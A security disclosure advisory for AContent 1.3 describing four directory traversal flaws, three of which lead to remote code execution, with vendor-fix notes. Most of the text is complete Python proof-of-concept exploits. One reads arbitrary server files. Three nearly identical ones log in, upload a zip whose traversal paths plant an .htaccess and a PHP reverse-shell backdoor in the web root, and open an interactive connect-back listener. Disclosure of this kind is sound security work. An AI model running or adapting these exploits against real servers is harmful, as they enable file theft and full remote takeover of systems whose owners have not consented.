SSD Advisory – AContent Multiple Vulnerabilities

Vulnerabilities Summary
The following advisory describes two (2) vulnerabilities types found in AContent version 1.3.
AContent is an open source learning content management system (LCMS) used to create interoperable, accessible, adaptive Web-based learning content. It can be used along with learning management systems to develop, share, and archive learning materials. For those familiar with ATutor, AContent contains the content authoring, test authoring, and content interoperability features of ATutor, producing a standalone tool that can be used with any system that supports IMS content interoperability standards.
The vulnerability found are:

  • Directory Traversal
  • Directory Traversal that lead to Remote Code Execution – question_import.php
  • Directory Traversal that lead to Remote Code Execution – ims_import.php
  • Directory Traversal that lead to Remote Code Execution – import_test.php

Credit
An independent security researcher, Steven Seeley, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor Response
AContent has fixed the vulnerabilities in their GitHub master branch.
For more details:


Vulnerabilities Details
Directory Traversal
AContent is vulnerable to a Directory Traversal vulnerability. The vulnerable code can be found in file tool_provider_outcome.php.
The second parameter passed to the sendOAuthBodyPOST() function called in tool_provider_outcome.php is vulnerable to a directory traversal that can be used to disclose files.
Proof of Concept

#!/usr/local/bin/python
import sys
import re
import requests
def banner():
    print "\n\t| ------------------------------------------------------------------- |"
    print "\t| AContent <= 1.3 tool_provider_outcome.php Information Vulnerability |"
    print "\t| ------------------------------------|\n"
banner()
if len(sys.argv) < 3:
    print "(+) usage: %s <target> <file>" % sys.argv[0]
    exit(-1)
target = sys.argv[1]
file   = sys.argv[2]
print "(+) downloading %s" % file
r = requests.get("http://%s/oauth/lti/common/tool_provider_outcome.php?grade=1&key=1&secret=secret&submit=Send+Grade&url=../../../../../../../..%s" % (target, file))
contents = r.text.split("------------ POST RETURNS ------------")[1].split("------------ WE SENT ------------")[0].rstrip()
print contents

Directory Traversal that lead to Remote Code Execution – question_import.php
AContent is vulnerable to a Directory Traversal vulnerability that can lead to a Remote Code Execution. The vulnerable code can be found in file question_import.php.
Vulnerable code can be found in lines 168-170 in test/question_import.php

$archive = new PclZip($_FILES['file']['tmp_name']);
    if ($archive->extract(  PCLZIP_OPT_PATH, $import_path,
       PCLZIP_CB_PRE_EXTRACT,  'preImportCallBack') == 0) {

This code calls extract() on a user supplied uploaded zip file.
The preImportCallBack() does not check for directory traversals and performs a blacklist check on teh file extension.
This can be used to write into the web root and gain remote code execution.
Notes:

  • Requires that the target has display_errors=On in the php.ini
  • Requires that you use an author account, but open registration is enabled by default
  • Requires that you have at least one writable directory in the web-root, this is common
  • Requires that the author has at least one course created under their account

Proof of Concept

#!/usr/local/bin/python
import re
import os
import sys
import time
import select
import string
import random
import zipfile
import termios
import hashlib
import requests
import threading
import SocketServer
from cStringIO import StringIO
# interactive connectback listener
class connect_back_shell(SocketServer.BaseRequestHandler):
    """
    our interactive, shell like client
    """
    def handle(self):
        s = self.request
        old_settings = termios.tcgetattr(0)
        try:
            c = True
            self.close = 0
            while not self.close:
                for i in select.select([0, s.fileno()], [], [], 0)[0]:
                    c = os.read(i, 2048)
                    if c:
                        os.write(s.fileno() if i == 0 else 1, c)
                        if i == 0:
                            if "exit" in c or "quit" in c:
                                self.terminate()
            s.close()
        except KeyboardInterrupt:
            return
        finally:
            termios.tcsetattr(0, termios.TCSADRAIN, old_settings)
        return
    def terminate(self,):
        self.close = 1
        self.server.shutdown()
class threaded_tcp_server(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
    pass
def banner():
    print "\n\t| ----------------------------------------------------------------------- |"
    print "\t| AContent <= 1.3 question_import.php Remote Code Execution Vulnerability |"
def _get_hashed_password(token):
    """
    takes advantage of the authentication weakness and generates
    the hash as the server expects it, see client side code
    """
    s2 = hashlib.sha1()
    s1 = hashlib.sha1()
    s1.update(password)
    hash_stage_1 = s1.hexdigest()
    s2.update("%s%s" % (hash_stage_1, token))
    return s2.hexdigest()
def _build_php_code():
    phpkode  = ("""
    @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);""")
    phpkode += ("""$dis=@ini_get('disable_functions');""")
    phpkode += ("""if(!empty($dis)){$dis=preg_replace('/[, ]+/', ',', $dis);$dis=explode(',', $dis);""")
    phpkode += ("""$dis=array_map('trim', $dis);}else{$dis=array();} """)
    phpkode += ("""if(!function_exists('LcNIcoB')){function LcNIcoB($c){ """)
    phpkode += ("""global $dis;if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {$c=$c." 2>&1\\n";} """)
    phpkode += ("""$imARhD='is_callable';$kqqI='in_array';""")
    phpkode += ("""if($imARhD('popen')and!$kqqI('popen',$dis)){$fp=popen($c,'r');""")
    phpkode += ("""$o=NULL;if(is_resource($fp)){while(!feof($fp)){ """)
    phpkode += ("""$o.=fread($fp,1024);}}@pclose($fp);}else""")
    phpkode += ("""if($imARhD('proc_open')and!$kqqI('proc_open',$dis)){ """)
    phpkode += ("""$handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes); """)
    phpkode += ("""$o=NULL;while(!feof($pipes[1])){$o.=fread($pipes[1],1024);} """)
    phpkode += ("""@proc_close($handle);}else if($imARhD('system')and!$kqqI('system',$dis)){ """)
    phpkode += ("""ob_start();system($c);$o=ob_get_contents();ob_end_clean(); """)
    phpkode += ("""}else if($imARhD('passthru')and!$kqqI('passthru',$dis)){ob_start();passthru($c); """)
    phpkode += ("""$o=ob_get_contents();ob_end_clean(); """)
    phpkode += ("""}else if($imARhD('shell_exec')and!$kqqI('shell_exec',$dis)){ """)
    phpkode += ("""$o=shell_exec($c);}else if($imARhD('exec')and!$kqqI('exec',$dis)){ """)
    phpkode += ("""$o=array();exec($c,$o);$o=join(chr(10),$o).chr(10);}else{$o=0;}return $o;}} """)
    phpkode += ("""$nofuncs='no exec functions'; """)
    phpkode += ("""if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){ """)
    phpkode += ("""$s=@fsockopen('tcp://%s','%s');while($c=fread($s,2048)){$out = ''; """ % (cb_host, cb_port))
    phpkode += ("""if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """)
    phpkode += ("""}elseif (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit'){break;}else{ """)
    phpkode += ("""$out=LcNIcoB(substr($c,0,-1));if($out===false){fwrite($s,$nofuncs); """)
    phpkode += ("""break;}}fwrite($s,$out);}fclose($s);}else{ """)
    phpkode += ("""$s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);@socket_connect($s,'%s','%s'); """ % (cb_host, cb_port))
    phpkode += ("""@socket_write($s,"socket_create");while($c=@socket_read($s,2048)){ """)
    phpkode += ("""$out = '';if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """)
    phpkode += ("""} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') { """)
    phpkode += ("""break;}else{$out=LcNIcoB(substr($c,0,-1));if($out===false){ """)
    phpkode += ("""@socket_write($s,$nofuncs);break;}}@socket_write($s,$out,strlen($out)); """)
    phpkode += ("""}@socket_close($s);} """)
    return "<?php %s ?>" % phpkode
def we_can_login():
    """
    logs into the target
    """
    print "(+) getting server token"
    r = s.get("http://%s/login.php" % target)
    match = re.search("\) \+ \"(.*)\"\)", r.text)
    if match:
        print "(+) found the token"
        print "(+) logging in as %s..." % username
        data = {'form_password_hidden': _get_hashed_password(match.group(1)), 'form_login': username, 'submit':'Login'}
        r = s.post("http://%s/login.php" % target, data=data, allow_redirects=False)
        if (r.status_code == 302) and ("index.php" in r.headers['Location']):
            return True
        else:
            print "(-) failed to login, check your student password"
    else:
        print "(-) failed to get the token"
    return False
def _build_zip():
    """
    builds the zip file.
    we upload a .htaccess incase the webserver doesnt have
    a handler for phtml extensions but typically, they do.
    """
    f = StringIO()
    z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
    z.writestr('../../../../../../../../../../../../..%shome/.htaccess' % fp, "AddType application/x-httpd-php .phtml")
    z.writestr('../../../../../../../../../../../../..%shome/si.phtml' % fp, _build_php_code())
    z.close()
    handle = open('pwn.zip','wb')
    handle.write(f.getvalue())
    handle.close
def we_can_upload_a_shell():
    """
    uploads a zip file with php code inside to our target for exploitation
    """
    _build_zip()
    multiple_files = {
        'file': ('pwn.zip', open('pwn.zip','rb'), 'application/zip'),
        'submit_import': (None, 'Install'),
    }
    proxies = {"http":"http://127.0.0.1:8080"}
    r = s.post("http://%s/tests/question_import.php?_course_id=2" % target, files=multiple_files, allow_redirects=False, proxies=proxies)
    if r.status_code == 302:
        return True
    return False
def _clean_up():
    os.remove("pwn.zip")
def pop_shell():
    """
    pops a shell by making a request to the backdoor code
    """
    _clean_up()
    try:
        r = s.get("http://%s/home/si.phtml" % target)
    except:
        pass
def we_can_get_fp():
    """
    gets the full path
    requires some php.ini settings:
    display_errors = On
    """
    global fp
    r = s.get("http://%s/documentation/index.php?p[]=" % target)
    match = re.search("array given in <b>/(.*)documentation/index.php<\/b> ", r.text)
    if match:
        fp = "/%s" % match.group(1)
        return True
    return False
def validation_of_args_are_good():
    """
    validates where the arguments are good or not
    """
    global target, cb_host, cb_port, username, password, w_lst, help_str
    help_str = "%s <target> <author user:pass> <connectback host:port>" % sys.argv[0]
    if len(sys.argv) < 4:
        print help_str
        sys.exit(1)
    target    = sys.argv[1]
    user_pass = sys.argv[2]
    host_port = sys.argv[3]
    if ":" not in host_port:
        print "(-) your connectback host must be in <host:port> format"
        return False
    elif ":" not in user_pass:
        print "(-) your student username and password must be in <user:pass> format"
        return False
    cb_port = host_port.split(":")[1]
    cb_host = host_port.split(":")[0]
    password = user_pass.split(":")[1]
    username = user_pass.split(":")[0]
    if not cb_port.isdigit():
        print "(-) you need a port NUMBER for the command back host"
        return False
    elif not os.access(os.getcwd(), os.W_OK):
        print "(-) dont have write access in current dir!"
        return False
    return True
def main():
    global s
    s = requests.Session()
    banner()
    if validation_of_args_are_good():
        if we_can_login():
            print "(+) logged in successfully..."
            print "(+) finding full path..."
            if we_can_get_fp():
                print "(!) found the path at: %s" % fp
                print "(+) uploading shell..."
                if we_can_upload_a_shell():
                    print "(!) shell upload successful, launching!"
                    instance = threaded_tcp_server(("0.0.0.0", int(cb_port)), connect_back_shell)
                    cbserver = threading.Thread(target=instance.serve_forever)
                    cbserver.daemon = True
                    cbserver.start()
                    pop_shell()
    else:
        print help_str
        sys.exit(-1)
if __name__ == '__main__':
    main()

Directory Traversal that lead to Remote Code Execution – ims_import.php
AContent is vulnerable to a Directory Traversal vulnerability that lead to a Remote Code Execution. The vulnerable code can be found in file ims_import.php
Vulnerable code can be found in lines 896-899 in home/ims/ims_import.php

$archive = new PclZip($_FILES['file']['tmp_name']);
if ($archive->extract(  PCLZIP_OPT_PATH,        $import_path,
                                                PCLZIP_CB_PRE_EXTRACT,  'preImportCallBack') == 0) {

This code calls extract() on a user supplied uploaded zip file. The preImportCallBack() does not check for directory traversals and performs a blacklist check on teh file extension. This can be used to write into the web root and gain remote code execution.
Notes:

  • Requires that the target has target has display_errors=On in the php.ini
  • Requires that you use an author account, but open registration is enabled by default
  • Requires that you have at least one writable directory in the web-root, this is common

Proof of Concept

#!/usr/local/bin/python
import re
import os
import sys
import time
import select
import string
import random
import zipfile
import termios
import hashlib
import requests
import threading
import SocketServer
from cStringIO import StringIO
# interactive connectback listener
class connect_back_shell(SocketServer.BaseRequestHandler):
    """
    our interactive, shell like client
    """
    def handle(self):
        s = self.request
        old_settings = termios.tcgetattr(0)
        try:
            c = True
            self.close = 0
            while not self.close:
                for i in select.select([0, s.fileno()], [], [], 0)[0]:
                    c = os.read(i, 2048)
                    if c:
                        os.write(s.fileno() if i == 0 else 1, c)
                        if i == 0:
                            if "exit" in c or "quit" in c:
                                self.terminate()
            s.close()
        except KeyboardInterrupt:
            return
        finally:
            termios.tcsetattr(0, termios.TCSADRAIN, old_settings)
        return
    def terminate(self,):
        self.close = 1
        self.server.shutdown()
class threaded_tcp_server(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
    pass
def banner():
    print "\n\t| ------------------------------------------------------------------ |"
    print "\t| AContent <= 1.3 ims_import.php Remote Code Execution Vulnerability |"
    print "\t| -----------------------------------|\n"
def _get_hashed_password(token):
    """
    takes advantage of the authentication weakness and generates
    the hash as the server expects it, see client side code
    """
    s2 = hashlib.sha1()
    s1 = hashlib.sha1()
    s1.update(password)
    hash_stage_1 = s1.hexdigest()
    s2.update("%s%s" % (hash_stage_1, token))
    return s2.hexdigest()
def _build_php_code():
    phpkode  = ("""
    @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);""")
    phpkode += ("""$dis=@ini_get('disable_functions');""")
    phpkode += ("""if(!empty($dis)){$dis=preg_replace('/[, ]+/', ',', $dis);$dis=explode(',', $dis);""")
    phpkode += ("""$dis=array_map('trim', $dis);}else{$dis=array();} """)
    phpkode += ("""if(!function_exists('LcNIcoB')){function LcNIcoB($c){ """)
    phpkode += ("""global $dis;if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {$c=$c." 2>&1\\n";} """)
    phpkode += ("""$imARhD='is_callable';$kqqI='in_array';""")
    phpkode += ("""if($imARhD('popen')and!$kqqI('popen',$dis)){$fp=popen($c,'r');""")
    phpkode += ("""$o=NULL;if(is_resource($fp)){while(!feof($fp)){ """)
    phpkode += ("""$o.=fread($fp,1024);}}@pclose($fp);}else""")
    phpkode += ("""if($imARhD('proc_open')and!$kqqI('proc_open',$dis)){ """)
    phpkode += ("""$handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes); """)
    phpkode += ("""$o=NULL;while(!feof($pipes[1])){$o.=fread($pipes[1],1024);} """)
    phpkode += ("""@proc_close($handle);}else if($imARhD('system')and!$kqqI('system',$dis)){ """)
    phpkode += ("""ob_start();system($c);$o=ob_get_contents();ob_end_clean(); """)
    phpkode += ("""}else if($imARhD('passthru')and!$kqqI('passthru',$dis)){ob_start();passthru($c); """)
    phpkode += ("""$o=ob_get_contents();ob_end_clean(); """)
    phpkode += ("""}else if($imARhD('shell_exec')and!$kqqI('shell_exec',$dis)){ """)
    phpkode += ("""$o=shell_exec($c);}else if($imARhD('exec')and!$kqqI('exec',$dis)){ """)
    phpkode += ("""$o=array();exec($c,$o);$o=join(chr(10),$o).chr(10);}else{$o=0;}return $o;}} """)
    phpkode += ("""$nofuncs='no exec functions'; """)
    phpkode += ("""if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){ """)
    phpkode += ("""$s=@fsockopen('tcp://%s','%s');while($c=fread($s,2048)){$out = ''; """ % (cb_host, cb_port))
    phpkode += ("""if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """)
    phpkode += ("""}elseif (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit'){break;}else{ """)
    phpkode += ("""$out=LcNIcoB(substr($c,0,-1));if($out===false){fwrite($s,$nofuncs); """)
    phpkode += ("""break;}}fwrite($s,$out);}fclose($s);}else{ """)
    phpkode += ("""$s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);@socket_connect($s,'%s','%s'); """ % (cb_host, cb_port))
    phpkode += ("""@socket_write($s,"socket_create");while($c=@socket_read($s,2048)){ """)
    phpkode += ("""$out = '';if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """)
    phpkode += ("""} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') { """)
    phpkode += ("""break;}else{$out=LcNIcoB(substr($c,0,-1));if($out===false){ """)
    phpkode += ("""@socket_write($s,$nofuncs);break;}}@socket_write($s,$out,strlen($out)); """)
    phpkode += ("""}@socket_close($s);} """)
    return "<?php %s ?>" % phpkode
def we_can_login():
    """
    logs into the target
    """
    print "(+) getting server token"
    r = s.get("http://%s/login.php" % target)
    match = re.search("\) \+ \"(.*)\"\)", r.text)
    if match:
        print "(+) found the token"
        print "(+) logging in as %s..." % username
        data = {'form_password_hidden': _get_hashed_password(match.group(1)), 'form_login': username, 'submit':'Login'}
        r = s.post("http://%s/login.php" % target, data=data, allow_redirects=False)
        if (r.status_code == 302) and ("index.php" in r.headers['Location']):
            return True
        else:
            print "(-) failed to login, check your student password"
    else:
        print "(-) failed to get the token"
    return False
def _build_zip():
    """
    builds the zip file.
    we upload a .htaccess incase the webserver doesnt have
    a handler for phtml extensions but typically, they do.
    """
    f = StringIO()
    z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
    z.writestr('../../../../../../../../../../../../..%shome/.htaccess' % fp, "AddType application/x-httpd-php .phtml")
    z.writestr('../../../../../../../../../../../../..%shome/si.phtml' % fp, _build_php_code())
    z.close()
    handle = open('pwn.zip','wb')
    handle.write(f.getvalue())
    handle.close
def we_can_upload_a_shell():
    """
    uploads a zip file with php code inside to our target for exploitation
    """
    _build_zip()
    multiple_files = {
        'allow_test_import': (None, '1'),
        'allow_a4a_import': (None, '1'),
        'file': ('pwn.zip', open('pwn.zip','rb'), 'application/zip'),
        'submit': (None, 'Import'),
    }
    proxies = {"http":"http://127.0.0.1:8080"}
    r = s.post("http://%s/home/ims/ims_import.php" % target, files=multiple_files, allow_redirects=False, proxies=proxies)
    if r.status_code == 302:
        return True
    return False
def _clean_up():
    os.remove("pwn.zip")
def pop_shell():
    """
    pops a shell by making a request to the backdoor code
    """
    _clean_up()
    try:
        r = s.get("http://%s/home/si.phtml" % target)
    except:
        pass
def we_can_get_fp():
    """
    gets the full path
    requires some php.ini settings:
    display_errors = On
    """
    global fp
    r = s.get("http://%s/documentation/index.php?p[]=" % target)
    match = re.search("array given in <b>/(.*)documentation/index.php<\/b> ", r.text)
    if match:
        fp = "/%s" % match.group(1)
        return True
    return False
def validation_of_args_are_good():
    """
    validates where the arguments are good or not
    """
    global target, cb_host, cb_port, username, password, w_lst, help_str
    help_str = "%s <target> <author user:pass> <connectback host:port>" % sys.argv[0]
    if len(sys.argv) < 4:
        print help_str
        sys.exit(1)
    target    = sys.argv[1]
    user_pass = sys.argv[2]
    host_port = sys.argv[3]
    if ":" not in host_port:
        print "(-) your connectback host must be in <host:port> format"
        return False
    elif ":" not in user_pass:
        print "(-) your student username and password must be in <user:pass> format"
        return False
    cb_port = host_port.split(":")[1]
    cb_host = host_port.split(":")[0]
    password = user_pass.split(":")[1]
    username = user_pass.split(":")[0]
    if not cb_port.isdigit():
        print "(-) you need a port NUMBER for the command back host"
        return False
    elif not os.access(os.getcwd(), os.W_OK):
        print "(-) dont have write access in current dir!"
        return False
    return True
def main():
    global s
    s = requests.Session()
    banner()
    if validation_of_args_are_good():
        if we_can_login():
            print "(+) logged in successfully..."
            print "(+) finding full path..."
            if we_can_get_fp():
                print "(!) found the path at: %s" % fp
                print "(+) uploading shell..."
                if we_can_upload_a_shell():
                    print "(!) shell upload successful, launching!"
                    instance = threaded_tcp_server(("0.0.0.0", int(cb_port)), connect_back_shell)
                    cbserver = threading.Thread(target=instance.serve_forever)
                    cbserver.daemon = True
                    cbserver.start()
                    pop_shell()
    else:
        print help_str
        sys.exit(-1)
if __name__ == '__main__':
    main()

Directory Traversal that lead to Remote Code Execution – import_test.php
AContent is vulnerable to a Directory Traversal vulnerability that lead to a Remote Code Execution. The vulnerable code can be found in import_test.php
Vulnerable code can be found in lines 184-186 in test/import_test.php

        $archive = new PclZip($_FILES['file']['tmp_name']);
        if ($archive->extract(  PCLZIP_OPT_PATH,        $import_path,
                                                        PCLZIP_CB_PRE_EXTRACT,  'preImportCallBack') == 0) {

This code calls extract() on a user supplied uploaded zip file. The preImportCallBack() does not check for directory traversals and performs a blacklist check on teh file extension. This can be used to write into the web root and gain remote code execution.
Notes:

  • Requires that the target has display_errors=On in the php.ini
  • Requires that you use an author account, but open registration is enabled by default
  • Requires that you have at least one writable directory in the web-root, this is common
  • Requires that the author has at least one course created under their account

Proof of Concept

#!/usr/local/bin/python
import re
import os
import sys
import time
import select
import string
import random
import zipfile
import termios
import hashlib
import requests
import threading
import SocketServer
from cStringIO import StringIO
# interactive connectback listener
class connect_back_shell(SocketServer.BaseRequestHandler):
    """
    our interactive, shell like client
    """
    def handle(self):
        s = self.request
        old_settings = termios.tcgetattr(0)
        try:
            c = True
            self.close = 0
            while not self.close:
                for i in select.select([0, s.fileno()], [], [], 0)[0]:
                    c = os.read(i, 2048)
                    if c:
                        os.write(s.fileno() if i == 0 else 1, c)
                        if i == 0:
                            if "exit" in c or "quit" in c:
                                self.terminate()
            s.close()
        except KeyboardInterrupt:
            return
        finally:
            termios.tcsetattr(0, termios.TCSADRAIN, old_settings)
        return
    def terminate(self,):
        self.close = 1
        self.server.shutdown()
class threaded_tcp_server(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
    pass
def banner():
    print "\n\t| ------------------------------------------------------------------- |"
    print "\t| AContent <= 1.3 import_test.php Remote Code Execution Vulnerability |"
    print "\t| ------------------------------------|\n"
def _get_hashed_password(token):
    """
    takes advantage of the authentication weakness and generates
    the hash as the server expects it, see client side code
    """
    s2 = hashlib.sha1()
    s1 = hashlib.sha1()
    s1.update(password)
    hash_stage_1 = s1.hexdigest()
    s2.update("%s%s" % (hash_stage_1, token))
    return s2.hexdigest()
def _build_php_code():
    phpkode  = ("""
    @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);""")
    phpkode += ("""$dis=@ini_get('disable_functions');""")
    phpkode += ("""if(!empty($dis)){$dis=preg_replace('/[, ]+/', ',', $dis);$dis=explode(',', $dis);""")
    phpkode += ("""$dis=array_map('trim', $dis);}else{$dis=array();} """)
    phpkode += ("""if(!function_exists('LcNIcoB')){function LcNIcoB($c){ """)
    phpkode += ("""global $dis;if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {$c=$c." 2>&1\\n";} """)
    phpkode += ("""$imARhD='is_callable';$kqqI='in_array';""")
    phpkode += ("""if($imARhD('popen')and!$kqqI('popen',$dis)){$fp=popen($c,'r');""")
    phpkode += ("""$o=NULL;if(is_resource($fp)){while(!feof($fp)){ """)
    phpkode += ("""$o.=fread($fp,1024);}}@pclose($fp);}else""")
    phpkode += ("""if($imARhD('proc_open')and!$kqqI('proc_open',$dis)){ """)
    phpkode += ("""$handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes); """)
    phpkode += ("""$o=NULL;while(!feof($pipes[1])){$o.=fread($pipes[1],1024);} """)
    phpkode += ("""@proc_close($handle);}else if($imARhD('system')and!$kqqI('system',$dis)){ """)
    phpkode += ("""ob_start();system($c);$o=ob_get_contents();ob_end_clean(); """)
    phpkode += ("""}else if($imARhD('passthru')and!$kqqI('passthru',$dis)){ob_start();passthru($c); """)
    phpkode += ("""$o=ob_get_contents();ob_end_clean(); """)
    phpkode += ("""}else if($imARhD('shell_exec')and!$kqqI('shell_exec',$dis)){ """)
    phpkode += ("""$o=shell_exec($c);}else if($imARhD('exec')and!$kqqI('exec',$dis)){ """)
    phpkode += ("""$o=array();exec($c,$o);$o=join(chr(10),$o).chr(10);}else{$o=0;}return $o;}} """)
    phpkode += ("""$nofuncs='no exec functions'; """)
    phpkode += ("""if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){ """)
    phpkode += ("""$s=@fsockopen('tcp://%s','%s');while($c=fread($s,2048)){$out = ''; """ % (cb_host, cb_port))
    phpkode += ("""if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """)
    phpkode += ("""}elseif (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit'){break;}else{ """)
    phpkode += ("""$out=LcNIcoB(substr($c,0,-1));if($out===false){fwrite($s,$nofuncs); """)
    phpkode += ("""break;}}fwrite($s,$out);}fclose($s);}else{ """)
    phpkode += ("""$s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);@socket_connect($s,'%s','%s'); """ % (cb_host, cb_port))
    phpkode += ("""@socket_write($s,"socket_create");while($c=@socket_read($s,2048)){ """)
    phpkode += ("""$out = '';if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """)
    phpkode += ("""} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') { """)
    phpkode += ("""break;}else{$out=LcNIcoB(substr($c,0,-1));if($out===false){ """)
    phpkode += ("""@socket_write($s,$nofuncs);break;}}@socket_write($s,$out,strlen($out)); """)
    phpkode += ("""}@socket_close($s);} """)
    return "<?php %s ?>" % phpkode
def we_can_login():
    """
    logs into the target
    """
    print "(+) getting server token"
    r = s.get("http://%s/login.php" % target)
    match = re.search("\) \+ \"(.*)\"\)", r.text)
    if match:
        print "(+) found the token"
        print "(+) logging in as %s..." % username
        data = {'form_password_hidden': _get_hashed_password(match.group(1)), 'form_login': username, 'submit':'Login'}
        r = s.post("http://%s/login.php" % target, data=data, allow_redirects=False)
        if (r.status_code == 302) and ("index.php" in r.headers['Location']):
            return True
        else:
            print "(-) failed to login, check your student password"
    else:
        print "(-) failed to get the token"
    return False
def _build_zip():
    """
    builds the zip file.
    we upload a .htaccess incase the webserver doesnt have
    a handler for phtml extensions but typically, they do.
    """
    f = StringIO()
    z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
    z.writestr('../../../../../../../../../../../../..%shome/.htaccess' % fp, "AddType application/x-httpd-php .phtml")
    z.writestr('../../../../../../../../../../../../..%shome/si.phtml' % fp, _build_php_code())
    z.close()
    handle = open('pwn.zip','wb')
    handle.write(f.getvalue())
    handle.close
def we_can_upload_a_shell():
    """
    uploads a zip file with php code inside to our target for exploitation
    """
    _build_zip()
    multiple_files = {
        'file': ('pwn.zip', open('pwn.zip','rb'), 'application/zip'),
        'submit_import': (None, 'Install'),
        '_course_id': (None, '2')
    }
    proxies = {"http":"http://127.0.0.1:8080"}
    r = s.post("http://%s/tests/import_test.php" % target, files=multiple_files, allow_redirects=False, proxies=proxies)
    if r.status_code == 302:
        return True
    return False
def _clean_up():
    os.remove("pwn.zip")
def pop_shell():
    """
    pops a shell by making a request to the backdoor code
    """
    _clean_up()
    try:
        r = s.get("http://%s/home/si.phtml" % target)
    except:
        pass
def we_can_get_fp():
    """
    gets the full path
    requires some php.ini settings:
    display_errors = On
    """
    global fp
    r = s.get("http://%s/documentation/index.php?p[]=" % target)
    match = re.search("array given in <b>/(.*)documentation/index.php<\/b> ", r.text)
    if match:
        fp = "/%s" % match.group(1)
        return True
    return False
def validation_of_args_are_good():
    """
    validates where the arguments are good or not
    """
    global target, cb_host, cb_port, username, password, w_lst, help_str
    help_str = "%s <target> <author user:pass> <connectback host:port>" % sys.argv[0]
    if len(sys.argv) < 4:
        print help_str
        sys.exit(1)
    target    = sys.argv[1]
    user_pass = sys.argv[2]
    host_port = sys.argv[3]
    if ":" not in host_port:
        print "(-) your connectback host must be in <host:port> format"
        return False
    elif ":" not in user_pass:
        print "(-) your student username and password must be in <user:pass> format"
        return False
    cb_port = host_port.split(":")[1]
    cb_host = host_port.split(":")[0]
    password = user_pass.split(":")[1]
    username = user_pass.split(":")[0]
    if not cb_port.isdigit():
        print "(-) you need a port NUMBER for the command back host"
        return False
    elif not os.access(os.getcwd(), os.W_OK):
        print "(-) dont have write access in current dir!"
        return False
    return True
def main():
    global s
    s = requests.Session()
    banner()
    if validation_of_args_are_good():
        if we_can_login():
            print "(+) logged in successfully..."
            print "(+) finding full path..."
            if we_can_get_fp():
                print "(!) found the path at: %s" % fp
                print "(+) uploading shell..."
                if we_can_upload_a_shell():
                    print "(!) shell upload successful, launching!"
                    instance = threaded_tcp_server(("0.0.0.0", int(cb_port)), connect_back_shell)
                    cbserver = threading.Thread(target=instance.serve_forever)
                    cbserver.daemon = True
                    cbserver.start()
                    pop_shell()
    else:
        print help_str
        sys.exit(-1)
if __name__ == '__main__':
    main()